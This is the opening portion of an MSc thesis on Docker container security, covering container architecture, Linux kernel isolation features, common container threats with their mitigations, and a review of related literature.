[image: U:\UWTSD Logo.jpg]

Examining Docker Containers Security 
By 
Yohannes Zerzghi
Supervisor: Dr Carlene E-A Campbell
       Second Marker: Dr Nitheesh Kaliyamurthy

Project submitted as part of the requirements for the award of MSc Computer Networks & Cybersecurity

                                 Nov 2021



Declaration of originality 

I am Yohannes Zerzghi, I declare that I am the sole author of this project; that all references cited have been consulted; that I have conducted all work of which this is a record, and that the finished work lies within the prescribed word limits.
This work has not previously been accepted as part of any other degree submission.
Signed: Yohannes Zerzghi

                                                            Date: 12/11/2021


FORM OF CONSENT 

I am Yohannes Zerzghi, hereby that my project, submitted in candidature for the MCs Computer Networks and Cybersecurity degree, if successful, may be made available for inter-library loan or photocopying (subject to the law of copyright) and that the title abstract may be made available to outside organizations.
Signed: Yohannes Zerzghi

Date: 12/11/2021

Copyright Acknowledgement 
I acknowledge that the copyright of this project report, and any product developed as part of the project, belong to the University of Wales Trinity Saint David, Swansea.


ABSTRACT 
In recent years, Docker has become a prominent virtualisation tool for deploying applications in cloud computing architectures due to its agility, flexibility, reliability, scalability, and many other benefits. As a result, its popularity is gaining momentum in the containerisation industry and cloud users, specifically within developers and DevOps. However, its security platform is not mature yet and creates a big concern among its users and cloud practitioners. One of its main security issues is that Docker does not provide more splendid isolation between the host and containers and between themselves.
In this thesis, we are engaged to examine Docker containers security using three different attacks to evaluate and test its current security system. A pragmatic approach is developed established upon a comprehensive background research and literature review aiming to carry out the security attacks in a methodological way on a Docker platform hosted on a single Ubuntu machine.
This report has conducted three Docker security attacks: privilege, containers breakout, and using vulnerable application. The first two attacks use scripts written in Dockerfile to examine and undertake the security attacks. In contrast, the last one uses an application vulnerable to shellshock attacks downloaded from the Docker Hub to impersonate on how attackers can infiltrate through vulnerable application.
The results of the experiments show that Docker security is far from perfect, mainly working with privileged users. For this reason, Docker has a strong recommendation regarding the consequence of running containers with root privilege as this allows to malicious users escape their privilege easily to perform malicious acts.
Keywords: Docker, virtualisation, containerisation, namespaces, Cgroups, containers, images, isolation, privilege, container breakout.
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[bookmark: _Toc86859242]- INTRODUCTION  
Docker has recently become one of the most popular ways to deploy applications, mainly because of its flexibility, speed, and ease of use. It is a containerisation platform that lets users run one or more isolated containers packaged with application libraries and dependencies. Containers employ similar concepts to virtualisation, but they are created at the OS level and make system calls directly to the host’s kernel. Simply put, a container shares the host’s kernel directly with others, and this gives users the flexibility to run an application on a single host machine, across multiple machines, and on a new machine all at once. It also allows users to scale their deployments easily. 
Further, containers are lightweight and super-fast; unlike VM, they do not require an OS boot. As to portability, containers package an application with all the necessary libraries and dependencies it needs to run. This enables users and developers to migrate and move across different environments easily. For those reasons, Docker has become dominant in the containerisation market and is adopted by big companies, such as Google, Facebook, Spotify, and PayPal [1]. In general, Docker can potentially provide a wide range of benefits, but the key ones are economic, agility, and resiliency.
However, Docker is a recent technology, and its security system is immature. Whilst Docker provides scalability, agility, resiliency, and many other benefits, its security is becoming the main concern for developers and DevOps. This is mainly because Docker containers share the host kernel directly, making them more vulnerable to security threats and vulnerabilities than the traditional virtualisation technology (VM). Simply put, Docker does not provide more splendid isolation from the host machine compared to VMs. In addition, its system design encompasses various components, containing from the host to the network and everything in between. As such, its security requires an all-inclusive approach and therefore ensuring the security of containers is difficult for many enterprises and DevOps. Therefore, securing Docker containers is significant and needs securing all its components from the host to the network. Another security challenge to Docker users is uploading and downloading images. It uses Docker hub as a repository to share and find images and operates similarly to google or apple store, where users can download and install apps whatever they want. This means that threat actors can insert malicious codes, and users can download and use them, enabling the attacker to steal or infiltrate valuable information. For those reasons, it is vital to investigate and study the security structure of Docker involving all its components.
This thesis comprises the research, techniques, and discussions of Docker security threats and attacks along with their various mitigation or remediation strategies. It covers and introduces in-depth knowledge of Docker technology, particularly related to its security system and is presented both in practical and theoretical approaches. 
[bookmark: _Toc86859243]AIM
This thesis aims to examine and evaluate Docker containers security with misconfigured images. The report will provide three types of Docker security attacks supplemented with practical approach to achieve the aim of this project.
[bookmark: _Toc86859244]OBJECTIVES
The project is also set to provide several objectives with regards to the completion of the aim as listed below:
· Providing in depth background and research on Docker environment and containerisation technology.
· Providing literature review on the area of Docker security threats and attacks.
· Identifying current Docker vulnerabilities.
· Conduct practical various security attacks on Docker environment along with documenting the process of each attack.
· Providing recommendation and mitigation solutions to each attack.
· Research into the current best security practices of Docker containers.
· Analysing and evaluating the results obtained from each attack.
[bookmark: _Toc86859245]STRUCTURE OF THE PROJECT
This thesis contains eleven chapters and is structured into three main sections to provide the reader with a sense of flow and a better understanding on all concepts of the subject discussed. The first section details the background research and literature review related to Docker architecture and security. The second section covers designing, implementing, testing, and experimenting of the practical approach to execute and process the aimed Docker security attacks. Finally, the third section includes the findings and outcomes accompanied with analysing and evaluating of the results obtained from each attack.
Chapter one provides a brief overview of the report, detailing the aims and objectives of the project.
Chapter two covers a detailed background research on the fundamental elements of Docker systems, security, and architectures. It also discusses and compares traditional virtualisation vs containerisation technologies. 
Chapter three concentrates on literature review of previous works related to the research topic and equip the author to have a solid understanding and knowledge on Docker security threats and attacks in general.
Chapter four focuses on the research methodologies applied in this project to achieve the aims and objectives set.
Chapter five details the process of designing and implementing the aimed security attacks on Docker environment.
Chapter six provides the testing and experimenting process of each designed attack on Docker containers.
Chapter seven examines and analyses the results obtained from each attack.
Chapter eight provides the overall summary of the report along with recommendations for further research on the topic.
Chapter nine details the experiences and lesson learnt by the author throughout the course of this project.
Chapter ten provides all the academic and journal references used to complete and write this report.







[bookmark: _Toc86859246]– BACKGROUND RESEARCH 
[bookmark: _Toc86859247]OVERVIEW
In recent years, containerisation has become a new trend in the IT industry, particularly within the cloud ecosystem and DevOps. It simplifies creating and deploying applications and is thus loved by DevOps engineers and cloud practitioners. However, its security platform has not been tested profoundly. This section will briefly introduce the concepts that are required to develop and understand the aim of this research paper, along with reviewing of research papers in the area that are related to this project.
1. [bookmark: _Toc266710277][bookmark: _Toc266711030][bookmark: _Toc271283211][bookmark: _Toc340606375][bookmark: _Toc340611902][bookmark: _Toc340612072][bookmark: _Toc340613999][bookmark: _Toc341173665][bookmark: _Toc341173843][bookmark: _Toc341174523][bookmark: _Toc345410421][bookmark: _Toc345410752][bookmark: _Toc345412857][bookmark: _Toc371251349][bookmark: _Toc371251398][bookmark: _Toc371255378][bookmark: _Toc371255533][bookmark: _Toc86858507][bookmark: _Toc86859248][bookmark: _Toc202288068][bookmark: _Toc266447541]
[bookmark: _Toc86859249]VIRTUALISATION VS CONTAINERISATION
Virtualisation is the key factor behind the existence and success of cloud computing technology. It is a technology that combines both hardware and software techniques to create virtual machines (VM) and allows multiple instances of OS to run on a single physical machine and can also be applied to create virtual instances of specific hardware components, such as storage, network, application, and memory. Therefore, virtualisation is used to capitalise and improve hardware resources to create cost-effective, scalable, efficient, flexible, and resilient IT services in clouding. Usually, virtualisation can be hypervisor-based or container-based. The hypervisor-based runs at the hardware level to create virtual machines, whereas container-based virtualisation occurs at the operating system level of the host machine [2, 3]. 
In general, hypervisor virtualisation or known as Hyper-V, can be of type 1 or type 2. A type 1 or bare-metal hypervisor creates virtual machines (VM) that run directly on the host’s hardware entirely separated from the underlying operating system and are therefore highly secure. Furthermore, they provide better performance and efficiency than type 2 hypervisors and are thus more commonly used for big data center warehouses and enterprises. On the other hand, type 2 or hosted hypervisor technology creates VMs on the existing OS of the host machine, see fig.1. With hosted hypervisor, different types of OS can be installed on the top of the host’s OS, sharing the host’s hardware resources. It can be installed on standard desktop computers and laptops and are mainly used for experimenting and testing software’s [4, 5]. The following screenshot depicts the architecture of hypervisor virtualisation. 
[image: ]
[bookmark: _Toc86858592]Figure 1: type 1 and type 2 hypervisors [4].
On the contrary, containerisation is a still new technology that enables to create VMs at the OS level of the host’s machine, where each VM runs wholly isolated, and all share the host’s kernel OS. It is mainly used to deploy multiple applications utilising the same OS on a single host or server. It keeps each application in its own container or space, providing complete isolation and a virtual environment to each container. They also share and access the host’s kernel directly. Containers are built using lightweight Linux-based OS, containing application libraries, binaries, dependencies, and packages on top of the host’s OS and are therefore easy and fast to scale up, providing much flexibility and have less performance overhead than hypervisor virtualisation in the native cloud environment. For these reasons, container or container-based virtualisation is becoming the ideal framework for creating virtual machines in the cloud ecosystem. In addition, containers support greater portability for creating and deploying cloud-based applications while maintaining continuous integration (CI) and continuous delivery (CD) application development and deployment to production environment on the cloud [6, 7, 8].
However, containers are not versatile to run diverse OS comparing to hypervisors. Because they are designed to use the same OS as the parent or host OS, a container created on a windows host machine can only support windows applications. As such, containers are applicable to run various forms of application only on a single OS platform. Furthermore, containers are vulnerable to more attacks than hypervisors as all share the host’s resources, including memory, CPU, and kernel, directly. However, Linux-based containers use Cgroups and namespace of Linux features to secure them. The namespace provides separation while the Cgroups manage the resources, such as memory, CPU, and network [9, 10]. Figure 2 illustrates the system architecture of containerisation and virtual machines (VMs).
[image: Graphical user interface
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[bookmark: _Toc86858593]Figure 2: Virtual Machine (VM) Vs Containerisation architecture [9].
However, both VM and container-based virtualisation techniques are designed for different use cases using various methods. There are several differences between these them. For example, containers do not support multiple kernels since they rely on the kernel to create virtualisation. Moreover, containers can boot up faster than VM. They also consume less resources compared to VMs. However, they are less secure than VMs [11]. Table 1 summarises the comparison between the VM and containers.
[bookmark: _Toc86858663]Table 1: differences between containers and VM [12].
	Features
	Containers
	VM

	Performance
	Less performance overhead
	High performance Overhead

	Kernel
	Supports single kernel
	Multiple kernel’s

	Isolation
	Less isolation
	Provides high level of isolation

	Booting
	Faster
	Slower

	Mobility
	Fast and easy
	Slower

	OS
	Supports single OS
	Supports multiple OS


 
Containerisation has become more common in the cloud industry and replaces the traditional virtualisation method due to its portability, flexibility, and cost-effectiveness. There are many container formats, such as Docker, Linux Containers (LXC), and rkt. However, Docker is an open source and most popular tool in the containerisation industry [13].
[bookmark: _Toc86859250]DOCKER
Docker is a public containerisation platform developed based on Linux features that allow deploying, creating, and running applications. Docker enables to containerise and run application dependencies in an entirely secluded atmosphere known as a container. It uses Linux features, such as namespaces and Cgroups to provide isolation and security, supporting multiple containers to run simultaneously on a single host. Simply put, it is an extension of LXC technology with more advanced features and capabilities. For instance, Docker uses improved API to produce enhanced virtualisation outcomes, enabling each application to run isolated on top of the host’s OS. Further, Docker containers are small in size and contain all the necessary packages to run an application. As a result, the Docker platform provides portability and simplicity to share containers across the cloud [14, 15, 16].
Docker has become the de-facto platform in the production environment to create and deploy containerised applications because of its many benefits. One of the main advantages of using Docker is speed. With Docker, it is super-fast to build a container because they are lightweight, and thus testing, deploying, and development processes of an application can be achieved faster. In addition, Docker containers’ applications are highly portable and easy to manage workloads across various environments. With Docker, it is also easy to scale up or adjust services according to the business needs, close to real-time. Further, Docker provides consistent and continuous application integration and delivery workflow (CI/CD) [17, 18, 19].
However, Docker has also some drawbacks, particularly with its security and isolation. Further, Docker does not provide compatibility and flexibility with older machines, such as 32-bit OS, as it is designed only to support 64-bit and new machines. Also, with Docker, complete virtualisation cannot be achieved because Docker relies on the Linux kernel of the host machine. In addition, Docker is platform dependent and hence requires more additional layers between the Docker engine and the host OS [20, 21].
[bookmark: _Toc86859251]DOCKER ARCHITECTURE AND COMPONENTS
The Docker platform consists of various components, including Docker containers, Docker images, Docker registries, Docker client, and Docker server. The following sections explain in detail these components.
[bookmark: _Toc86859252]Docker Architecture 
The Docker system operates in a client-server fashion to build and containerise applications. Its architecture contains several elements, containing Docker client, Docker daemon, and Docker registry. The Docker daemon is also known as Docker engine, is the cornerstone of the Docker system. It is a persistent background process that manages Docker objects, such as Docker images, containers, networks, and volumes, and contains three main components: Server, Rest API, and the Command Line Interface (CLI). It uses the REST API to processes client requests and instructs the Docker daemon, acting as a client-server application. The Docker client enables users to interact and communicate with the Docker engine through API sockets. The Docker daemon also forwards requests to pull or push images to the Docker registry, a location where Docker images are stored [22, 23]. Figure 3 illustrates the client-server architecture of Docker.
[image: ]
[bookmark: _Toc86858594]Figure 3: Docker architecture [24].
The client and Docker daemon can be installed on the host machine and communicate using API. Also, the client can interact with more than one Docker daemon. The Docker system uses various plugins to create and run Docker objects, such as images, containers, volumes, and networks. Further, Docker system enables users to create images locally, publish them to either public or private repositories and pull them from the registries to run and start containers.
[bookmark: _Toc86859253]Docker Images
In Docker, images are the building blocks or templates to create containers. It contains a set of instructions to run a container containing all the needed packages and parameters. It is built with multiple read-only layers, where each layer is established from its preceding layer, thus speeding up the Docker build process and increasing reusability. As a result, Docker is fast, lightweight, and small compared to other technologies. Images enable users to create a container on the writable layer on top of the read-only layers, allowing them to make changes without modifying the base image. For this reason, images can be duplicated and shared across the Docker repository. Usually, images can be created manually using a simple text editor with a set of series commands to run and build an image. Alternatively, images can be constructed based on other images, published by others, and shared via the Docker hub [25, 26, 27]. The layered structure of the Docker image is shown in figure 4, where multiple containers are running on the writable layer, all sharing the same Ubuntu image.
[image: ]
[bookmark: _Toc86858595]Figure 4: Docker image layers [28].
The Dockerfile is similar to a script, consisting of various commands and parameters to create a base Docker image. It specifies the instructions in a sequential order with key attributes, such as ports, file directory, base OS, and many others. Usually, a Dockerfile starts with FROM command, defining the base OS of the image. The subsequent layers also specify instructions to execute and run the application, such as port entry, copy files, directory, and add files [29]. The screenshot below shows a sample of Dockerfile. 
[image: ]
[bookmark: _Toc86858596]Figure 5: sample Dockerfile.
[bookmark: _Toc86859254]Containers
A container is the critical object in the Docker system and is built by images. Containers package an application’s software into a virtualised runtime environment with all packages and dependencies needed to run an application. Each container runs in its virtualised environment, completely isolated from the host and other containers. However, they can connect to each other or the host over a network. Containers run on the writable layer without modifying the base image. This implies that a container can have various lifecycles, such as stop, delete, create, start, and are managed using API or CLI. Consequently, containers are ephemeral, unlike images [30, 31].
In Docker, data cannot be retrieved once a container is deleted or stopped unless persistent storage is attached to save the changes. However, Docker uses volumes to save the data permanently. Containers are portable, small, and fast to spin up because they do not require a guest OS; instead, they use the host’s OS resources and features [32].
[bookmark: _Toc86859255]Registries
Docker registry is a service responsible for hosting and distributing images. It is an online store of Docker images. Users and developers can use the CLI to pull and run images locally and push images to the registry. The registries can be private or publicly accessible, but the Docker engine uses the Docker hub as its public registry by default. However, users can also interact privately using a trusted registry to maintain and secure their images. Docker uses a tag to identify multiple versions of the same image, and in case a user does not specify the tag, Docker picks the latest version automatically. The tag feature allows users to select the right version of a particular image from the Docker Hub. For example, a user can use a tag to differentiate multiple versions of Nginx server. Usually, users can pull or push images using API calls [33, 34].
[bookmark: _Toc86859256]DOCKER AND KERNEL SECURITY
According in [35], Docker security relies on several key factors, mainly isolation, Docker daemon attack surface, misconfiguration in the containers, and hardening network operations security. As mentioned above, Docker containers are created based upon Linux kernel features and capabilities and thus share similar security characteristics. Therefore, it is essential to explore and understand the security features of Linux kernel. The existence of Docker is heavily reliant on various Linux properties, especially namespace, control groups (Cgroups), and capabilities. The namespaces isolate each Docker container from the host machine and other containers using various LXC features, such as PID, mnt, net, and others. However, PID and net namespaces are the key LXC tools to provide isolation for each process, enabling each container to run using the processes ID in hierarchical order. This allows multiple containers to run completely separated from each other using namespaces on a single host. Namespaces also enables containers to communicate over a network by allocating each container a unique IP address and hostname [36, 37].
On the other hand, Docker uses Cgroups to manage and allocate resources for each container. It helps limit and assign resources, such as memory, CPU, and disk I/O, to each container by preventing a single container from exhausting all resources and ensuring each container gets its allocated resources. For this reason, Cgroups are crucial to prevent denial of service (Dos) attacks on containers. They are also helpful to monitor the performance and resilience of applications on a cloud platform, especially on a multi-tenant cloud environment. Simply put, Cgroups protects containers from being exploited by limiting resource sharing among them [38, 39]. 
Docker also uses the Linux kernel capabilities feature to limit the privilege of a process to a minimum level when needed. By default, containers are designed to start with a confined set of Linux capabilities. However, it also allows flexibility for specific services to start with root privilege when needed. Usually, capabilities are used to provide security between non-root and root users. As a result, it can protect against privilege and container break out attacks within the Docker environment [40].
Further, the Docker daemon service runs on the host machine and needs root access. This feature could create security loopholes if it is used without careful consideration and implications. For instance, Docker allows users to create a shared volume between the host and a container with full access and privilege. Therefore, a user can start a container from the host directory without any limitations. Docker uses a UNIX socket /var/run/docker.sock to listen and an entry point for API calls with root access, and this implies that a malicious user can bypass through the REST API to escalate and conduct a privileged attack within the Docker system because of its root privilege. However, Docker recommends not to use the TCP Docker daemon socket on the loopback address (127.0.0.1). It is also a good practice to restrict access to the daemon socket [35, 41].
The security of Docker also includes assessing the various Docker components, including host security, network, and others. The lists below explain the security measures of Docker components.
[bookmark: _Toc86859257]Host Hardening
The host kernel is shared among multiple containers to run Docker applications. Therefore, the host OS needs to be secured in order to protect containers from any security breaches. This includes enabling several key Linux kernel security modules, such as SELinux, seccomp, and AppArmor. With the latest version of Docker, all those security modules are available by default, but they need to be activated. The SELinux security architecture enforces the files and processes created by Docker to run with restricted access within the host system [42, 43]. 
Similarly, AppArmor (Application Armor) helps to protect the host machine OS and its applications from threat actors. It allows users to define policies to a specific file path and the permissions they have. Therefore, the AppArmor security policies can be linked to each application and are suitable for restricting application access. By default, Docker applies the docker-default AppArmor security profile for running containers. However, users have permission to tweak or adjust the docker-default to their needs. In addition, the seccomp is another Linux kernel feature that helps Docker run in a secure environment. It enables users to restrict and filter system calls between the Docker containers and the host’s Linux kernel. [42, 43, 44]. Therefore, the host security can be improved by implementing additional Linux kernel solutions, including SELinux, AppArmor, and seccomp.
[bookmark: _Toc86859258]Network Isolation
Containers are designed to work within their own isolated environment, implying that they cannot interact unless a network channel is established between them. Docker uses API to establish communication between containers and supports various network types, such as bridge, overlay, and Macvlan. Those networks help Docker to share images and to control the Docker daemon remotely through the API. By default, Docker creates a bridge network by giving IP addresses and default gateway to containers. However, the bridge network is susceptible to ARP or MAC flooding attacks because it does not support filtering or checking incoming and outgoing packets. Alternatively, a container can share IP address from the host to connect to the public or internet networks. However, this method is more vulnerable to security breaches as it exposes a container to public networks directly [45, 46]. 
Images are stored and distributed from the public Docker hub repository over a secure TLS connection. In addition, Docker allows users to verify images using the hash technique to check their integrity and originality using Docker content trust (DCT). Docker also utilises the update framework (TUF) to verify the publisher content and the integrity of Docker images. The TUF provides secure software update systems to mitigate various attacks, such as replay attacks. Further, the Docker daemon is an essential component that allows users to interact and conduct Docker commands via the API from another host. It is managed remotely using the UNIX socket located at /var/run/docker.sock, and it gives root access to any Docker user by default. This means that any user can run a container with root privilege, enabling root access to the host [47, 48, 46].  
[bookmark: _Toc86859259]DOCKER SECURITY THREATS
The Docker platform has become the de facto for deploying containerised applications within the cloud in recent years because of its flexibility, efficiency, and scalability. However, its security strategy is in its early stage to be adopted by many enterprises. For example, Docker shares the host kernel, exposing a container to several security threats that are not appropriately configured [49]. Unlike VMs, containers share the same kernel with the host. Consequently, this can create security threat either from the host or containers, increasing the attack surface on containers compared to VMs. In addition, the architecture of Docker containers is based upon an open-source LXC technology, which increases the vulnerability of Docker systems [50]. 
In general, Docker security threats and vulnerabilities can be addressed and classified to the various types of known attacks. Docker security issues can be examined on both sides of its system, namely outside and inside attacks. The outside attack occurs when threat actors gain access from outside the Docker system, whereas the inside attack happens when the attacker is trying to gain access maliciously from inside the Docker environment [51]. Also, Docker security issues can be discussed with its various components, Docker daemon, Docker registry, images, and containers, as discussed in the above [40]. The various types of known attacks on the Docker system are outlined as follows:
[bookmark: _Toc86859260]Container Privilege Escalations
Containers are lightweight running instances of a run time application in which they all share the kernel with the host. Simply put, a container contains packages with all the necessary libraries and dependencies for an application to run in a secluded environment. The Docker engine uses various Linux kernel features to isolate multiple containers running inside a single host. However, in situations running a vulnerable or with a privilege flag container could allow cybercriminals to gain access to the host’s critical resources with root access. This means that an attacker will be able to conduct various capabilities inside the host or other containers with root privilege. In such cases, the potential attack surface is far-reaching and allows the attacker to compromise other running containers and the host. Such an attack is named privilege escalation, allowing malicious users to run as root users [46, 52, 53, 54].
The privilege attack can be mitigated using the Linux hardening techniques, mentioned above. According to OWASP in [55], it is recommended to run a container process under a limited capabilities and non-privileged user. Docker also provides additional options to enhance its security. In [35], it is strongly suggested to run the Docker engine under the Linux kernel features, including AppArmor and SELinux. In addition, non-trusted applications should run under non-root users and be separated from the trusted groups. Further, container files should run in read only mode to prevent privilege and kernel attacks [56, 57]. Therefore, running a container with a non-root user is crucial to prevent privilege escalation attacks.
[bookmark: _Toc86859261]Poisoned Images
Images are the blueprint with instructions to build a container. As discussed above, images can be shared via private or public repositories. However, Docker uses its public repository Docker Hub by default. Users interact with the registry using an API through the internet to pull or push images remotely via HTTP. This implies that the API is exposed to the internet, increasing the potential danger to hijackers. As a result, an attacker can poison the images with some malwares or viruses in order to gain access or perform malicious activities. Alternatively, attackers can use outdated or vulnerable applications to poison images and push them to public repositories. As such, someone can download that image without checking and verifying its integrity, allowing the attacker to exploit and steal sensitive information. Further, image vulnerabilities can enable hijackers to insert backdoors to run cryptocurrency mining malware [58, 59].
For better security, the Docker registry API should run in a secure environment to thwart poisoning attacks. Another method to mitigate such attacks is to use DCT to ensure that only authenticated and trusted images are used within the Docker cluster. In addition, the API connection should be secured using TLS and proxy connections to avoid malicious image execution. Also, the local docker.io must be disabled to prevent such security problems [59, 47].
[bookmark: _Toc86859262]Denial of Service (Dos)
A Denial of service (Dos) is a type of attack that is more common on network resources. Usually, it aims to exhaust the victim’s systems resources by inundating with requests, eventually blocking the regular traffic from being processed. Dos vulnerabilities allow an attacker to consume the host’s system resources, such as CPU and memory and crash the system. Such an attack can also occur on containers because they directly communicate with the host kernel and share its resources, such as memory, CPU, and I/O disks. This system design increases the security threats and vulnerabilities on containers. Usually, Dos attack takes place when a single malicious container consumes a particular resource of the host, denying all other containers or crashing the host system. Thus, the attacker can manipulate the container to conduct various attacks, including DoS and user-privilege escalation [60, 61, 62].
The result of Dos attack on containers is usually exhausting the host’s resources. However, it can be mitigated using various techniques. One of the effective measures is to limit resources allocation to each container in the Docker cluster. To achieve this, Docker implements Cgroups, a Linux kernel feature to allocate resources manually to each container. The Cgroups provide useful metrics and ensures each container to get its allocated resources, preventing denial of service attack. They are also essential to control and manage resources, specifically on multi-tenant platforms, like PaaS [35, 60].
[bookmark: _Toc86859263]ARP Poisoning 
Address Resolution Protocol (ARP) is a communication protocol that operates at the data link layer, which resolves a MAC address to a known IP address. It functions without applying any security measures. This means that it is vulnerable to various threats, like ARP spoofing that takes place only on LAN. ARP spoofing is an attack technique that allows a malicious actor to send falsified ARP messages to the target machine over a LAN. This enables the attacker to intercept the communication and steal useful information [63]. 
Docker supports various types of network modes to provide connectivity between containers and the host. It creates a default virtual bridge to form a LAN, enabling all the containers on the same host to communicate. This means containers establish similarity in many ways to LAN segments. In this case, containers can also be a victim of various ARP related threats. As mentioned above, the virtual ethernet bridge forwards incoming packets without implementing any filtering mechanism, exposing containers more prone to ARP spoofing attacks. Therefore, containers are also not immune to ARP spoofing attacks [64, 65, 66]. 
The result of this attack can have profound implications when an attacker gains access through a compromised container. Usually, attackers use ARP spoofing technique to get valuable information of the traffic crossing the bridge, including passwords and usernames. Further, it enables attackers to insert malicious programs to facilitate other attacks, such as Dos, Man-in-the-middle (MITM), and session hijacking. However, such an attack can be defended by filtering the incoming traffics using access control rules and configuring a proper network. More specifically, the MAC address of the legitimate containers can be isolated to prevent ARP spoofing attacks [51, 67].
[bookmark: _Toc86859264]Man-In-The-Middle Attack
Man-In-The-Middle (MITM) attack is when a malicious user intercepts communication between two legitimate participants to alter or steal valuable information. Similarly, threat actors can use the MITM technique to spy or steal traffic information between two legitimate containers. Such an attack can be defended by providing solid isolation among containers with a secure and proper network settings. Also, the communication link among the containers needs to be encrypted with TLS to avoid MITM attacks [46, 68].
[bookmark: _Toc86859265]Secret compromises
A container may contain an application that needs secrets, such as a password to access other services or the host. For instance, a container is running SSH and is connected to another container that is running a database application. In such a scenario, if the SSH key or password is compromised, an attacker can jeopardise the overall system and steal personal data. In Docker, a running container may share its API keys and password to run a service, and thus it is imperative to keep these secretes secured to protect any security attacks. In addition, it is not good practice to build a Docker image containing sensitive information using environment variables. It is also necessary to maintain container files in read-only mode to avoid such attacks. Further, containers need to run with non-root access unless required to avoid privilege attacks and protect secret information, such as passwords and usernames [57, 55, 69].
[bookmark: _Toc86859266]SUMMARY
This chapter detailed extensive background research in all areas related to Docker containerisation and the development of this project. The research highlighted the benefits of both virtualisation and containerisation in cloud computing. More specifically, the author has outlined the architecture and components of Docker systems. The research also outlined best security measures and techniques to use Docker in production environment. Further, the research revealed that Docker is prone to some of the most common attacks and provided various mitigation techniques.
The next chapter will cover a literature review of previous works related to Docker security threats.








 




[bookmark: _Toc86859267]- RELATED WORK
[bookmark: _Toc86859268]OVERVIEW
This chapter aims to provide a comprehensive literature review on various security threats on Docker components based upon previous related or similar works, which should help the researcher to conduct various security attacks on Docker systems. This section will investigate and contemplate the methods, approaches, resources, and tools used to produce similar projects. The research process is organised into groups based upon the security attacks on Docker components. Therefore, this chapter will help the author to get better understanding on the security aspect of Docker containers. The reviewing and analysing of these related topics will assist the author in developing the project’s aims and objectives.
[bookmark: _Toc86859269]LITERATURE REVIEW
[bookmark: _Toc86859270]Container vs Virtualisation
The researchers in [70] provided an in-depth comparative analysis between virtualisation and containers with regards to performance for processing big data in cloud computing. This paper is a multipurpose study of containers, discussing containers architecture, pros and cons. The comparison is made on various methodologies and metrics, including hardware cost, portability, scalability, performance, reliability, isolation, security, and others. The article concludes that containers are vulnerable to more attacks than VM and provide weaker isolation and shared resources, increasing the security issues. The comparison focuses more on performance than security, and thus the security concept of containers is only mentioned for comparison without providing a detailed explanation. However, this paper reviewed the concept of Docker containers meticulously and briefly and provided a credible and significant reference count.
An in-depth comparative analysis of Docker security in cloud PAAS, with other container technologies and VM, is presented in [71]. The authors presented the overview of Docker security using Linux kernel features, including namespaces, Cgroups, and the union file systems (UFS). The UFS is used to mount a container’s file system to a virtual file system. In Docker, namespaces and Cgroups provide isolation and allocation resources to containers, respectively. According to the authors, Docker kernel features need to be adequately managed and monitored for security reasons, including pen testing and compatibility checking to secure containers in a real live production environment. 
The authors also provided best practices for securing containers along with a brief description of its security challenges. The research shows that implementing DCT, VPN, and SSL enhances the security of containers, especially when using a public repository, like Docker Hub. Further, they evaluated and compared Docker security to VM. The comparison resulted that VM are significantly secure than containers. Lastly, they proposed a solution for improving Docker kernel security using user namespaces features. The authors conclude containers inside VM provide better security compared to containers running on a typical host but at the cost of performance. This article covers the security of Docker with a wide variety of reliable sources briefly [71]. A similar comparative study of VM and containers is carried out in [72].
[bookmark: _Toc86859271]Docker Inside Threats
Docker system contains various components containing images, containers, networks, and volumes. Hence, the security aspect of each component is crucial to provide a safe and secure Docker ecosystem. The authors in [73] reviewed current Docker security using a static analysis approach for vulnerabilities, threats, and tools. In particular, they conducted a static analysis to investigate vulnerabilities on several images using free Docker scanning tools. They also presented some main security threats and attacks in images along with their remediation techniques. The main threats on Docker images include cautious, vulnerable, and attack images. However, verifying and scanning Docker images as well as utilising trusted images helps to avoid such attacks.
Further, the authors compared and evaluated various existing Docker image vulnerabilities tools. They also discuss the main issues that constitute the vulnerability of images and repositories. Any images or repositories from untrusted sources can be susceptible or with malicious intent. The researchers insist that images need to be scanned and verified using tools and conclude that images must be built carefully to avoid significant security flaws. This paper provided a thorough vulnerability analysis of Docker images and highlighted the various security tools. However, the paper does not provide a practical approach to conduct security attacks on Docker systems [73]. 
[bookmark: _Hlk80742567]Docker is formed on Linux subsystem features, and thus its security aspect covers a wide range of technologies. It uses Linux kernel mechanisms, such as namespaces and Cgroups, to provide isolation and resource allocation. Consequently, its security posture is heavily reliant on those Linux features. Yasrib in [51] presented and reviewed the potential security attacks on the Docker ecosystem along with a brief comparison between VM and containers. This work details the most common Docker security attacks along with their remediation strategies. The attacks are classified into two main groups: insider and outsider. The insider security vulnerabilities can be avoided through some configuration on Docker, such as enabling -selinux flag. On the other hand, outside attacks can be prevented by disabling or removing some capabilities features on containers. Some of the attacks include poisoned images, ARP poisoning, MitM, Dos, secret compromised, and container breakout. 
Further, the author offers remediation techniques to prevent these security threats and recommends that for Docker users to run a process under non-root privilege when it is running inside a container to avoid privilege and Dos attacks-and also enabling Linux kernel features, such as SELinux and AppArmor, to provide additional security for Docker environment.
This work insists to run a process under non-root privilege when it is running inside a container and to enable Linux kernel features, such as SELinux and AppArmor.   
It also covers a brief comparison 
Further, the author in [51] offers remediation techniques to prevent these security threats and recommends that for Docker users to run a process under non-root privilege when it is running inside a container to avoid privilege and Dos attacks-and also enabling Linux kernel features, such as SELinux and AppArmor, to provide additional security for Docker environment. Lastly, the author proposed implementing access control policies using SELinux modules and guidelines to a secure deployment process to ensure a safe and secure Docker environment. This article is well documented and provides detailed research of various Docker security challenges, though it contains less reference count. It also lacks practical or experimental approach to demonstrate attacks [51]. 
The Docker ecosystem involves various technologies and components, and therefore its security area is extensive and covers different parts and platforms. Some security threat can arise either from the host machine or the container. An extensive and general-purpose study of containerisation security challenge and issues is presented in [74]. This work classified the security requirements into four main groups based on the context of the host-container landscape. According to the authors, the security threats occur in four areas: inter-container, application to a container, container to host, and host to container. The first three cases employ Linux kernel features (namespaces and Cgroups), while the last case utilises hardware solutions, such as a trusted platform module (TPM) and trusted platform support, to mitigate such attacks on containers. This work briefly covers the security of containers with a wide range of credible sources [74]. 
The authors in [75] investigated Docker’s security concern, particularly with public Docker images, using static and dynamic analysis approaches. They also evaluated and compared current security tools and technologies using different metrics based on previous works done by other researchers. Malicious or vulnerable images can be discovered using tools and vulnerability assessment, like common vulnerabilities and exposures (CVE). In the paper, Docker uses Notary as a de facto tool find vulnerabilities and to provide secure method of publishing and verifying content over a distributed network. Further, the authors compared static and dynamic analysis methods. Their research shows that dynamic analysis provides better security but takes more time. This work concludes that Docker images need to be monitored and scanned regularly to prevent malicious attacks. A major limitation of this paper is that it does not provide a practical analysis of Docker security and has less reference number [75]. Similar work is also presented in [76].
